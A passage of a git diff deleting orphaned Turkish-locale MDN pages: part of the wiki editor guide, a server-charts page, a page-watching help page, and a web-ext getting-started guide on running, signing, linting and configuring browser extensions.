on the checkbox next to the type of review that's needed. Technical reviews should be requested any time you make changes to the explanation of how something technical works, while editorial reviews are a good idea when you've made changes and would like someone to review your writing and style choices.</p> -<p>Be sure to click one of the save buttons after making your selections, to commit your review request.</p> -<h2 id="The_attachments_box">The attachments box</h2> -<p>The attachments box lets you upload files to MDN for use in MDN content, as well as see what files are being used by the current document.</p> -<div class="note"> - <p><strong>Note:</strong> Due to a quirk in our current implementation, files are not associated with pages unless they're actually used in the page. So if you upload an attachment and don't make use of it before you save the article, it will not appear on the attachments list. So be sure to link to it or embed the image right away.</p> -</div> -<p>To add an attachment to the page, simply click the "Attach Files" button; this expands the attachment box to look like this:</p> -<p><img alt="" src="https://mdn.mozillademos.org/files/5321/attachments-empty.png" style="width: 600px; height: 114px;"></p> -<p>As you see, there's a table that lets you select a file to upload, then give it a title and, optionally, a description and an additional comment. The title is mandatory, and should describe the file so its usage context is understandable. Once the fields are filled out and you've selected your file, click the "Upload" button to send it to MDN.</p> -<div class="note"> - <p><strong>Note:</strong> Only a select few types of files are permitted as attachments on MDN: GIF, JPEG, PNG, SVG, and HTML. Photoshop images are permitted but should be avoided except in very specific cases. Any other file types will not be allowed by the upload form.</p> -</div> -<p>Feel free to <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide$edit" title="/en-US/docs/Project:MDN/Contributing/Editor_guide$edit">open this page in the editor</a> and look at its attachment list at the bottom to get a feel for it.</p> -<p>Once a file has been attached, it will appear (by its title, as you specified in the form) in the image properties dialog box when using images in your article. See {{anch("Adding images to an article")}} for details on this interface. To link to other types of files, copy the URL from the attachments box and use that as your link target when adding links to the page using the link button in the toolbar.</p> -<h2 id="Keyboard_shortcuts">Keyboard shortcuts</h2> -<p>There are a number of convenient keyboard shortcuts available to help you avoid taking your hands off the keyboard while you work. The shortcuts are listed for Windows and Linux; on Mac, instead of using the Control key, you can use the Command key.</p> -<table class="standard-table" style="max-width: 45em;"> - <tbody> - <tr> - <th>Shortcut</th> - <th>Description</th> - </tr> - <tr> - <td>Ctrl-A</td> - <td>Select all</td> - </tr> - <tr> - <td>Ctrl-C</td> - <td>Copy to clipboard</td> - </tr> - <tr> - <td>Ctrl-V</td> - <td>Paste from clipboard</td> - </tr> - <tr> - <td>Ctrl-X</td> - <td>Cut</td> - </tr> - <tr> - <td>Ctrl-Z</td> - <td>Undo</td> - </tr> - <tr> - <td>Ctrl-Y</td> - <td>Redo</td> - </tr> - <tr> - <td>Ctrl-K</td> - <td>Open link editor</td> - </tr> - <tr> - <td>Ctrl-B</td> - <td>Bold</td> - </tr> - <tr> - <td>Ctrl-I</td> - <td>Italic</td> - </tr> - <tr> - <td>Ctrl-O</td> - <td>Toggle <code><code></code> style.</td> - </tr> - <tr> - <td>Ctrl-Shift-O</td> - <td>Toggle source view mode.</td> - </tr> - <tr> - <td>Ctrl-P</td> - <td>Toggles the <code><pre></code> style on the current block.</td> - </tr> - <tr> - <td>Ctrl-U</td> - <td>Underline</td> - </tr> - <tr> - <td>Ctrl-S</td> - <td>Save changes and close the editor</td> - </tr> - <tr> - <td>Ctrl-Shift-S</td> - <td>Save changes without closing the editor</td> - </tr> - <tr> - <td>Ctrl-2 through Ctrl-6</td> - <td>Select header level 2-6</td> - </tr> - <tr> - <td>Ctrl-Shift-L</td> - <td>Toggles between bulleted list, numbered list, and paragraph format</td> - </tr> - <tr> - <td>Tab</td> - <td>Increases indent level if in indent mode, otherwise inserts two spaces as a tab. Inside tables, this jumps to the next cell, or inserts a new row if there is no next cell. If the cursor is currently in the page title or in a header, the cursor jumps to the next paragraph.</td> - </tr> - <tr> - <td>Shift-Tab</td> - <td>Decreases indent level if in indent mode. Inside tables, this jumps to the previous cell, or inserts a new row if there is no previous cell. If the cursor is currently in the page title or in a header, the cursor jumps to the next paragraph.</td> - </tr> - <tr> - <td>Shift-Space</td> - <td>Inserts a non-breaking space (<code>&nbsp;</code>)</td> - </tr> - <tr> - <td>Shift-Enter</td> - <td> - <p>Exits out of the current block. For example, if you're currently editing a<code> <pre> </code>block, shift-Enter exits the block, putting you back in the body of the article.</p> - <div class="note style-wrap"> - <p><strong>Note:</strong> Not currently implemented; see {{bug(780055)}}.</p> - </div> - </td> - </tr> - </tbody> -</table> -<h6 id="EditorGuideQuicklinks">{{EditorGuideQuicklinks}}<span id="cke_bm_73C" class="hidden"> </span></h6> diff --git a/files/tr/orphaned/mdn/editor/index.html b/files/tr/orphaned/mdn/editor/index.html deleted file mode 100644 index df8d6f9a64..0000000000 --- a/files/tr/orphaned/mdn/editor/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: MDN Düzenleyici Rehberi -slug: orphaned/MDN/Editor -tags: - - Landing - - MDN - - NeedsTranslation - - TopicStub -translation_of: MDN/Editor -original_slug: MDN/Editor ---- -<p>Sayfada düzenleme uygulaması MDN Web dökümanları wiki sayfası, yeni içerik sağlamak için kolaylık sağlar. Bu rehber bu düzenleyiciyi nasıl kullanıp üretim verimliliğinizi nasıl arttıracağınızı gösterecek. Lütfen <a href="https://www.mozilla.org/en-US/about/legal/terms/mozilla/">Mozilla Sözleşmesi</a>ni okuyun herhangi bir düzenleme yapmadan evvel.</p> - -<p><a href="https://wiki.developer.mozilla.org/en-US/docs/MDN/Contribute/Content/Style_guide">MDN stil rehberi</a> biçimlendirme ve içeriğin stili konusunda bilgilere sahiptir. Tercih edilen dilbilgisi ve yazım kuralları dahil.</p> diff --git a/files/tr/orphaned/mdn/kuma/server_charts/index.html b/files/tr/orphaned/mdn/kuma/server_charts/index.html deleted file mode 100644 index 27bed9aceb..0000000000 --- a/files/tr/orphaned/mdn/kuma/server_charts/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Server charts -slug: orphaned/MDN/Kuma/Server_charts -tags: - - Kuma - - MDN Meta Türkçe -translation_of: MDN/Kuma/Server_charts -original_slug: MDN/Kuma/Server_charts ---- -<div>{{MDNSidebar}}{{IncludeSubnav("/en-US/docs/MDN")}}</div> - -<p class="summary"><span class="seoSummary">This page lists MDN server status charts.</span></p> - -<h2 id="Last_30_minutes">Last 30 minutes</h2> - -<h3 id="Error_Rate">Error Rate</h3> - -<p>{{EmbedNewRelicChart("2fKQPvMkSwU", 300)}}</p> - -<p>Kuma web app response time (Average)</p> - -<p>{{EmbedNewRelicChart("43yJ3xwUecU", 300)}}</p> - -<h3 id="Kuma_web_app_response_time_Percentiles">Kuma web app response time (Percentiles)</h3> - -<p>{{EmbedNewRelicChart("6NzEi7ZBdoN", 300)}}</p> - -<h2 id="Last_24_Hours">Last 24 Hours</h2> - -<h3 id="Error_Rate_2">Error Rate</h3> - -<p>{{EmbedNewRelicChart("kVeeXx52g0l", 300)}}</p> - -<h3 id="Kuma_web_app_response_time_Average">Kuma web app response time (Average)</h3> - -<p>{{EmbedNewRelicChart("2yWkQ9WbEZW", 300)}}</p> - -<h3 id="Kuma_web_app_response_time_Percentiles_2">Kuma web app response time (Percentiles)</h3> - -<p>{{EmbedNewRelicChart("aeFnbLonmvx", 300)}}</p> - -<h2 id="Last_3_Days">Last 3 Days</h2> - -<h3 id="Error_Rate_3">Error Rate</h3> - -<p>{{ EmbedNewRelicChart("iv2F4gQYjFX", 300)}}</p> - -<h3 id="Kuma_web_app_response_time_Average_2">Kuma web app response time (Average)</h3> - -<p>{{EmbedNewRelicChart("ddTq7AKgyaG", 300)}}</p> - -<h3 id="Kuma_web_app_response_time_Percentiles_3">Kuma web app response time (Percentiles)</h3> - -<p>{{EmbedNewRelicChart("bRmyM6ujKA8", 300)}}</p> - -<h2 id="Last_3_Months">Last 3 Months</h2> - -<h3 id="Error_Rate_4">Error Rate</h3> - -<p>{{EmbedNewRelicChart("fjJ7HnGYNLd", 300)}}</p> - -<h3 id="Kuma_web_app_response_time_Average_3">Kuma web app response time (Average)</h3> - -<p>{{EmbedNewRelicChart("sIaVOeAxNx", 300)}}</p> diff --git a/files/tr/orphaned/mdn/tools/page_watching/index.html b/files/tr/orphaned/mdn/tools/page_watching/index.html deleted file mode 100644 index 226080839d..0000000000 --- a/files/tr/orphaned/mdn/tools/page_watching/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Watch or subscribe to a page or set of pages -slug: orphaned/MDN/Tools/Page_watching -translation_of: MDN/Tools/Page_watching -original_slug: MDN/Tools/Page_watching ---- -<div><font><font>{{MDNSidebar}}</font></font></div> - -<p><span class="seoSummary"><font><font>MDN'deki bir sayfaya abone olmak, her güncellendiğinde veya değiştirildiğinde e-postayla bilgilendirilmenizi sağlar. </font></font></span><font><font>İzle düğmesi her MDN sayfasının sağ üst köşesinde bulunur. </font><font>Abonelik seçeneklerine erişmek için, imleci İzleme menüsünü açıklamak için İzle düğmesinin üzerine getirin:</font></font></p> - -<p><img alt="MDN's Watch menüsünün ekran görüntüsü" src="https://mdn.mozillademos.org/files/12551/MDN_-_Watch_Menu.png" style="border-style: solid; border-width: 1px; display: block; height: 298px; margin: 0 auto; width: 463px;"></p> - -<p><font><font>Yalnızca bir sayfayı veya o sayfayı ve alt sayfalarını izlemek için bir seçenek belirleyin.</font></font></p> - -<h2 id="Bir_sayfaya_abone_olun"><font><font>Bir sayfaya abone olun</font></font></h2> - -<p><font><font>Bir kullanıcı yalnızca bir sayfayı her düzenlediğinde bir e-posta bildirimi almak </font><font>için ilk " </font></font><em><font><font>Sayfa Başlığına</font></font></em><font><font> Abone Ol" seçeneğini tıklayın </font><font>.</font></font></p> - -<h2 id="Bir_sayfaya_ve_tüm_alt_makalelerine_abone_olun"><font><font>Bir sayfaya ve tüm alt makalelerine abone olun</font></font></h2> - -<p><font><font>Bir kullanıcı o sayfayı ve alt sayfalarını her düzenlediğinde bir e-posta bildirimi almak </font><font>için ikinci " </font></font><em><font><font>Sayfa Başlığına</font></font></em><font><font> ve tüm alt makalelerine </font><font>abone ol" seçeneğini tıklayın </font><font>. </font><font>Buna abonelik talebinde bulunulduktan sonra eklenen alt sayfalar da dahildir, bu nedenle gelecekte daha fazla alt sayfa oluşturulacaksa, bunlar için de bildirim alırsınız.</font></font></p> - -<h2 id="Bir_sayfadan_aboneliği_iptal_et"><font><font>Bir sayfadan aboneliği iptal et</font></font></h2> - -<p><font><font>Aboneliği iptal etmek ve bir sayfayı izlemeyi durdurmak için, İzleme menüsünü tekrar açın ve " </font></font><em><font><font>Sayfa Başlığından</font></font></em><font><font> Aboneliği İptal </font><em><font>Et</font></em><font> " i tıklayın. </font><font>" </font></font><em><font><font>Sayfa Başlığından</font></font></em><font><font> Aboneliği İptal Et" i yalnızca </font><font>bir sayfaya abone olursanız görürsünüz. </font><font>Artık sayfa her değiştiğinde bir e-posta almayacaksınız.</font></font></p> - -<h2 id="Sayfa_değişikliği_e-postaları"><font><font>Sayfa değişikliği e-postaları</font></font></h2> - -<p><font><font>Bir sayfaya abone olursanız, her değişiklik kaydedişinde bir e-posta alırsınız. </font><font>Bu e-postalar notifications@developer.mozilla.org adresinden gelir ve MDN hesabınıza kayıtlı e-posta adresine gönderilir. </font><font>Her mesajın bir başlığı vardır:</font></font></p> - -<pre class="notranslate"><font><font>[MDN] Sayfa " </font></font><em><font><font>Sayfa başlığı</font></font></em><font><font> " </font><em><font>kullanıcı adına</font></em><font> göre değişti</font></font></pre> - -<p><font><font>İleti, başlıktaki bilgilerin tekrarlanmasıyla başlar, ardından içeriğin tam olarak neyin değiştiğini gösteren standart bir farkını sunar. </font><font>Değişiklikler, HTML kaynak kodu olarak gösterilir; bu, MDN bağlamında kullanılmazsa okunması biraz garip olabilir.</font></font></p> - -<p><font><font>Farkın altında, değişiklik üzerinde hareket etmek için kullanabileceğiniz faydalı bağlantıların bir listesi vardır:</font></font></p> - -<ul> - <li><font><font>Değişikliği yapan kullanıcının MDN profilini görüntüleme</font></font></li> - <li><font><font>MDN'nin yerinde geçmiş özelliğini kullanarak sayfanın önceki ve yeni sürümlerini karşılaştırın</font></font></li> - <li><font><font>Makalenin kendisini tarayıcınızda görüntüleyin</font></font></li> - <li><font><font>Makaleyi düzenleyin</font></font></li> - <li><font><font>Makalenin geçmişine bakın</font></font></li> -</ul> - -<p><font><font>E-postanın altında, e-postayı hangi aboneliğin oluşturduğunu belirten bir bildirim bulunur, örneğin "HTML öğesi başvurusu ve tüm alt makaleleri üzerinde düzenlemelere abone oldunuz" ve abonelikten çıkma bağlantısı. </font><font>Aboneliği iptal etmek için bağlantıyı tıklatırsanız, bu izleme isteği için artık ileti almayacaksınız.</font></font></p> diff --git a/files/tr/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html b/files/tr/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html deleted file mode 100644 index 137630f542..0000000000 --- a/files/tr/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html +++ /dev/null @@ -1,336 +0,0 @@ ---- -title: Deneyiminize web-ext ile başlayın -slug: orphaned/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext -translation_of: Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext -original_slug: Mozilla/Eklentiler/WebExtensions/Deneyiminize_web-ext_ile_başlayın ---- -<div>{{AddonSidebar}}</div> - -<p class="summary">Web-ext bir komut satır aracı olmakla birlikte uygulamaların gelistirmesinde kısmen yardımcı olup bu süreci kolaylaştırmaktadır. Bu Makale web-ext'in yüklenmesi ve çalıştırılması hakkında bilgiler içermektedir.</p> - -<h2 id="Installation">Installation</h2> - -<p><code>web-ext</code> bir node.js bazlı (açık kaynaklı, işlem bazlı ve ölçeklenebilir) uygulama olup <a href="https://nodejs.org/">nodejs/npm</a> aracı ile yükleyebilirsiniz. Web-ext'in yüklenmesi için kullanılması gereken komut:</p> - -<pre class="brush: bash"><code>npm install --global web-ext</code></pre> - -<p><code>web-ext</code> requires the current <a href="https://github.com/nodejs/Release#release-schedule">LTS</a> (long-term support) version of <a href="https://nodejs.org/">NodeJS</a>.</p> - -<p>To test whether the installation worked run the following command, which displays the <code>web-ext</code> version number:</p> - -<pre class="brush: bash"><code>web-ext --version</code></pre> - -<h2 id="Using_web-ext">Using web-ext</h2> - -<p>Before you start using <code>web-ext</code> locate an example extension to use—if you don't have one, use one from the <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repo.</p> - -<h3 id="Testing_out_an_extension">Testing out an extension</h3> - -<p>Test an extension in Firefox by <code>cd</code>'ing into your extension's root directory and entering:</p> - -<pre class="brush: bash"><code>web-ext run</code></pre> - -<p>This starts Firefox and loads the extension temporarily in the browser, just as you can on the <a href="/en-US/docs/Tools/about:debugging#Add-ons">about:debugging page</a>. Note that this <code>web-ext</code> method has the same <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox#Limitations">limitations regarding prompts for permissions and restart features</a> as about:debugging.</p> - -<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run reference guide</a> to learn more.</p> - -<h3 id="Automatic_extension_reloading">Automatic extension reloading</h3> - -<p>The <code>run</code> command watches your source files and tells Firefox to reload the extension after you edit and save a file. For example, if you changed the <code>name</code> property in your <code>manifest.json</code> file, Firefox displays the new name. This makes it easy to try out new features because you can see the effect immediately. The automatic reloading feature is active by default, you use it like this:</p> - -<pre class="brush: bash"><code>web-ext run</code></pre> - -<p>You can also press the <code>r</code> key in the <code>web-ext</code> terminal to trigger an extension reload.</p> - -<p>If you experience unexpected behavior with the reloading feature, please <a href="https://github.com/mozilla/web-ext/issues">file a bug</a>. You can also disable reloading like this:</p> - -<pre class="brush: bash"><code>web-ext run --no-reload</code></pre> - -<div class="note"> -<p>Extension reloading is only supported in Firefox 49 or higher.</p> -</div> - -<h3 id="Testing_in_different_versions_of_Firefox">Testing in different versions of Firefox</h3> - -<p>To run your extension in a version of <a href="https://www.mozilla.org/en-US/firefox/">Firefox Desktop</a> other than the default, use the <code>--firefox</code> option to specify a full path to the binary file. Here is an example for Mac OS:</p> - -<pre class="brush: bash">web-ext run --firefox=/Applications/FirefoxNightly.app/Contents/MacOS/firefox-bin</pre> - -<p>On Windows, the path needs to include <code>firefox.exe</code>, for example:</p> - -<pre class="brush: bash">web-ext run --firefox="C:\Program Files\Mozilla Firefox\firefox.exe"</pre> - -<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run command</a> reference to learn more.</p> - -<h3 id="Testing_in_Firefox_48">Testing in Firefox 48</h3> - -<p>Firefox 48 was the first stable version to use the WebExtension platform, but it doesn't allow <code>web-ext</code> to install an extension remotely. You need to run your extension in Firefox 48 using:</p> - -<pre class="brush: bash">web-ext run --pre-install</pre> - -<h3 id="Testing_in_Firefox_for_Android">Testing in Firefox for Android</h3> - -<p>To run your extension in <a href="https://www.mozilla.org/en-US/firefox/mobile/">Firefox for Android</a>, follow these instructions to <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android#Set_up_your_computer_and_Android_emulator_or_device">set up your computer and device</a>.</p> - -<p>With your device connected to your development computer, run:</p> - -<pre class="brush: bash">web-ext run --target=firefox-android</pre> - -<p>This command displays the device ID for your connected Android device or devices. If you don't see a list of device IDs, make sure you set up the device for development correctly.</p> - -<p><span style="background-color: #ffffff;">N</span>ow, add the device ID to the command:</p> - -<pre class="brush: bash">web-ext run --target=firefox-android --android-device=<device ID></pre> - -<p>If you've multiple versions of Firefox installed, you may need to choose a specific version. For example:</p> - -<pre class="brush: bash">web-ext run --target=firefox-android ... --firefox-apk=org.mozilla.firefox</pre> - -<p>The first time you run this command, you may need to grant Android permissions for the APK. This is because the command needs read/write access to the device storage, so that Firefox for Android can run on a temporary profile. The <code>web-ext</code> output guides you in how to grant these permissions.</p> - -<p>The <code>web-ext</code> command does not alter any of your existing Firefox for Android preferences or data. To see more information about how <code>web-ext</code> is interacting with your device, run the command with <code>--verbose</code>.</p> - -<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run command</a> reference to learn more.</p> - -<h3 id="Debugging_in_Firefox_for_Android">Debugging in Firefox for Android</h3> - -<p>When using <code>web-ext run</code> to test an extension on Firefox for Android, you'll notice a message like this in the console output:</p> - -<pre>You can connect to this Android device on TCP port 51499 -</pre> - -<p>This is a remote debugger port that you can <a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android#Connecting">connect to with Firefox's developer tools</a>. In this case, you'd connect to host <code>localhost</code> on port <code>51499</code>.</p> - -<p>See <a href="/en-US/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android#Debug_your_extension">this guide</a> for more information about debugging an extension on Firefox for Android.</p> - -<h3 id="Testing_unsigned_extensions">Testing unsigned extensions</h3> - -<p>When you execute <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">web-ext run</a>, the extension gets installed temporarily until you close Firefox. This does not violate any signing restrictions. If instead you create a zip file with <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_build">web-ext build</a> and try to install it into Firefox, you will see an error telling you that the add-on is not signed. You will need to use an <a href="https://wiki.mozilla.org/Addons/Extension_Signing#Unbranded_Builds">unbranded build</a> or use a <a href="https://www.mozilla.org/en-US/firefox/developer/">development build</a> to install unsigned extensions.</p> - -<h3 id="Using_a_custom_profile">Using a custom profile</h3> - -<p>By default, the <code>run</code> command will create a temporary Firefox profile. To run your extension with a specific profile use the <code>--firefox-profile</code> option, like this:</p> - -<pre class="brush: bash">web-ext run --firefox-profile=your-custom-profile</pre> - -<p>This option accepts a string containing the name of your profile or an absolute path to the profile directory. This is helpful if you want to manually configure some settings that will always be available to the <code>run</code> command.</p> - -<h3 id="Keeping_profile_changes">Keeping profile changes</h3> - -<p>The <code>run</code> command does not save any changes made to the custom profile specified by <code>--firefox-profile</code>. To keep changes, add this option:</p> - -<pre class="brush: bash">web-ext run --keep-profile-changes --firefox-profile=your-custom-profile</pre> - -<p>This may be helpful if your extension has many different run states.</p> - -<div class="warning"> -<p>This option makes the profile specified by <code>--firefox-profile</code> completely insecure for daily use. It turns off auto-updates and allows silent remote connections, among other things. Specifically, it will make destructive changes to the profile that are required for <code>web-ext</code> to operate.</p> -</div> - -<h3 id="Packaging_your_extension">Packaging your extension</h3> - -<p>Once you've tested your extension and verified that it's working, you can turn it into a package for submitting to <a href="https://addons.mozilla.org">addons.mozilla.org</a> using the following command:</p> - -<pre class="brush: bash"><code>web-ext build</code></pre> - -<p>This outputs a full path to the generated <code>.zip</code> file that can be loaded into a browser.</p> - -<div class="warning"> -<p>The generated <code>.zip</code> file doesn't work on Firefox without signing or adding <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications</a>.gecko.id</code> key into <code><a href="/en-US/Add-ons/WebExtensions/manifest.json">manifest.json</a></code>. For more information, please refer <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">WebExtensions and the Add-on ID</a> page.</p> -</div> - -<p><code>web-ext build</code> is designed to ignore files that are commonly not wanted in packages, such as <code>.git</code>, <code>node_modules</code>, and other artifacts.</p> - -<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_build">build reference guide</a> to learn more.</p> - -<h3 id="Signing_your_extension_for_self-distribution">Signing your extension for self-distribution</h3> - -<p>As an alternative to publishing your extension on <a href="https://addons.mozilla.org/">addons.mozilla.org</a>, you can self-host your package file but it needs to be <a href="https://developer.mozilla.org/Add-ons/Distribution">signed by Mozilla</a> first. The following command packages and signs a ZIP file, then returns it as a signed XPI file for distribution:</p> - -<pre class="brush: bash"><code>web-ext sign --api-key=$AMO_JWT_ISSUER --api-secret=$AMO_JWT_SECRET </code></pre> - -<p>The API options are required to specify your <a href="https://addons.mozilla.org/en-US/developers/addon/api/key/">addons.mozilla.org credentials</a>.</p> - -<ul> - <li><code>--api-key</code>: the API key (JWT issuer) from <code>addons.mozilla.org</code> needed to sign the extension. This is a string that will look something like <code>user:12345:67</code>.</li> - <li><code>--api-secret</code>: the API secret (JWT secret) from <code>addons.mozilla.org</code> needed to sign the extension. This is a string that will look something like <code>634f34bee43611d2f3c0fd8c06220ac780cff681a578092001183ab62c04e009</code>.</li> -</ul> - -<div class="blockIndicator warning"> -<p>If you've <a href="/en-US/docs/Mozilla/Add-ons/Distribution/Submitting_an_add-on">listed</a> the extension on <a href="https://addons.mozilla.org">addons.mozilla.org</a>, see <a href="#Signing_a_test_version_of_a_listed_extension">Signing a test version of a listed extension</a>.</p> -</div> - -<p>See the <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_sign">sign reference guide</a> to learn more.</p> - -<h3 id="Signing_extensions_without_an_explicit_ID">Signing extensions without an explicit ID</h3> - -<p><code>web-ext</code> supports signing extensions that do not declare the <a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications.gecko.id</a> property in their manifest. The first time you sign an extension without an explicit ID, <a href="https://addons.mozilla.org/">addons.mozilla.org</a> will generate an ID and <code>web-ext</code> will save it to <code>.web-extension-id</code> in the working directory. You should save the ID file so that you can sign future versions of the same extension. If you lose the ID file, you will have to add back the <code>applications.gecko.id</code> property or use the <code>--id</code> option when signing, for example:</p> - -<pre class="brush: bash"><code>web-ext sign --api-key=... --api-secret=... --id="</code>{c23c69a7-f889-447c-9d6b-7694be8035bc}<code>"</code></pre> - -<h3 id="Signing_in_a_restricted_environment">Signing in a restricted environment</h3> - -<p>If you're working in an environment that restricts access to certain domains, you can try using a proxy when signing:</p> - -<pre class="brush: bash"><code>web-ext sign --api-key=... --api-secret=... --api-proxy=https://yourproxy:6000</code></pre> - -<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--api-proxy">--api-proxy</a> option to learn more.</p> - -<p>The following domains are used for signing and downloading files:</p> - -<ul> - <li><code>addons.mozilla.org</code></li> - <li><code>addons.cdn.mozilla.net</code></li> -</ul> - -<h3 id="Signing_a_test_version_of_a_listed_extension">Signing a test version of a listed extension</h3> - -<p>If you've <a href="/en-US/docs/Mozilla/Add-ons/Distribution/Submitting_an_add-on">listed</a> an extension on <a href="https://addons.mozilla.org">addons.mozilla.org</a>, use <code>web-ext</code> to create a signed but <a href="/en-US/docs/Mozilla/Add-ons/Distribution/Submitting_an_add-on#Self-distribution">unlisted</a> version for testing purposes. For example, you may wish to distribute an alpha or beta version to users for early feedback and testing.</p> - -<p>First, change the version number in your <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> so that it is different from the latest listed version. Then, create the unlisted version by using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference#web-ext_sign">--channel</a></code> option like this:</p> - -<pre class="brush: bash">web-ext sign --channel=unlisted --api-key=... --api-secret=...</pre> - -<p>This signs and downloads an XPI file that can be installed into Firefox.</p> - -<p>Once you've finished testing, <strong>to publish the extension you must define</strong> <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference#web-ext_sign">--channel</a></code><strong> as listed</strong>, as the channel option defaults to the one used previously. So, after incrementing the version in your <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>, run:</p> - -<pre class="brush: bash">web-ext sign --channel=listed --api-key=... --api-secret=...</pre> - -<p>This publishes and submits your extension for review as if you had uploaded it to <a href="https://addons.mozilla.org">addons.mozilla.org</a>.</p> - -<div class="warning"> -<p>Setting <code>--channel=listed</code> for a new version of a listed extension is not well supported. It uploads your new version to <a class="external external-icon" href="https://addons.mozilla.org" rel="noopener">addons.mozilla.org</a> as if you'd <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Distribution/Submitting_an_add-on">submitted it manually</a>. However, the command will fail and you'll have to check <a href="https://addons.mozilla.org/developers/addons">addons.mozilla.org/developers/addons</a> for the correct status.</p> -</div> - -<p>See the <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_sign">sign reference guide</a> to learn more.</p> - -<h3 id="Checking_for_code_lint">Checking for code "lint"</h3> - -<p>Before trying out your extension with the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_run">run</a> command or submitting your package to <a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a>, use the <code>lint</code> command to make sure your <a href="/en-US/Add-ons/WebExtensions/manifest.json">manifest</a> and other source files do not contain any errors. You can also set <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings">strict_min_version</a> in your extension’s manifest file and lint will report on the permissions, manifest keys, and web extension APIs used that are not available in that version. Example:</p> - -<pre class="brush: bash">web-ext lint</pre> - -<p>This uses the <a href="https://github.com/mozilla/addons-linter">addons-linter</a> library to walk through your source code directory and report any errors, such as the declaration of an unknown permission.</p> - -<p>See the <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#web-ext_lint">lint reference guide</a> to learn more.</p> - -<h3 id="Setting_option_defaults_in_a_configuration_file">Setting option defaults in a configuration file</h3> - -<p>You can specify <code>--config=my-config.js</code> to set default values for any option. Here is an example with the <code>build</code> command:</p> - -<pre class="brush: bash">web-ext --config=my-config.js build</pre> - -<p>The file should be a CommonJS module <a href="https://nodejs.org/docs/latest/api/modules.html#modules_modules">as understood by NodeJS</a> and must export each configuration value. Here is how you would set the default value of <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--verbose_-v">--verbose</a> to <code>true</code>:</p> - -<pre class="brush: javascript">module.exports = { - verbose: true, -};</pre> - -<p>If you want to specify options that only apply to a specific command, you nest the configuration under the command name. Here is an example of adding configuration for <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--overwrite-dest_-o">--overwrite-dest</a> that only applies to the <code>build</code> command as well as <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--firefox_-f">--firefox</a> that only applies to the <code>run</code> command:</p> - -<pre class="brush: javascript">module.exports = { - // Global options: - verbose: true, - // Command options: - build: { - overwriteDest: true, - }, - run: { - firefox: 'nightly', - }, -};</pre> - -<p>To create a configuration key for a command line option, you remove the preceding dashes and convert the name to camel case. As you can see from this example, <code>--overwrite-dest</code> was converted to <code>overwriteDest</code>.</p> - -<p>If an option can be specified multiple times on the command line then you define it as an array. For example, here is how to specify multiple <a href="/en-US/Add-ons/WebExtensions/web-ext_command_reference#--ignore-files_-i">--ignore-files</a> patterns:</p> - -<pre class="brush: javascript">module.exports = { - ignoreFiles: [ - 'package-lock.json', - 'yarn.lock', - ], -};</pre> - -<p><code>web-ext</code> will also try to load its configuration options from a <code>"webExt"</code> property included in the <code>package.json</code> file in the current directory:</p> - -<pre>{ - "name": "an-extension-src-dir-with-a-package-json", - "version": "1.0.0", - ... - "webExt": { - <span class="blob-code-inner blob-code-marker-addition"><span class="pl-s">"sourceDir": "dist/extension/"</span></span> - } -} -</pre> - -<h3 id="Automatic_discovery_of_configuration_files">Automatic discovery of configuration files</h3> - -<p><code>web-ext</code> will load existing configuration files in the following order:</p> - -<ul> - <li>A config file named <code>.web-ext-config.js</code> in your home directory, for example: - - <ul> - <li>On Windows: <code>C:\Users\<username>\.web-ext-config.js</code></li> - <li>On macOS: <code>/Users/<username>/.web-ext-config.js</code></li> - <li>On Linux: <code>/home/<username>/.web-ext-config.js</code></li> - </ul> - </li> - <li>A config property named <code>"webExt"</code> included in a <code>package.json</code> file in the current directory.</li> - <li>A config file named <code>web-ext-config.js</code> in the current directory.</li> -</ul> - -<p>If a home directory config and a local directory config define the same option, the value from the latter file will be used.</p> - -<p>To disable automatic loading of configuration files, set this option:</p> - -<pre class="brush: bash">web-ext --no-config-discovery run</pre> - -<p>To diagnose an issue related to config files, re-run your command with <code>--verbose</code>. This will tell you which config file affected which option value.</p> - -<h3 id="Specifying_different_source_and_destination_directories">Specifying different source 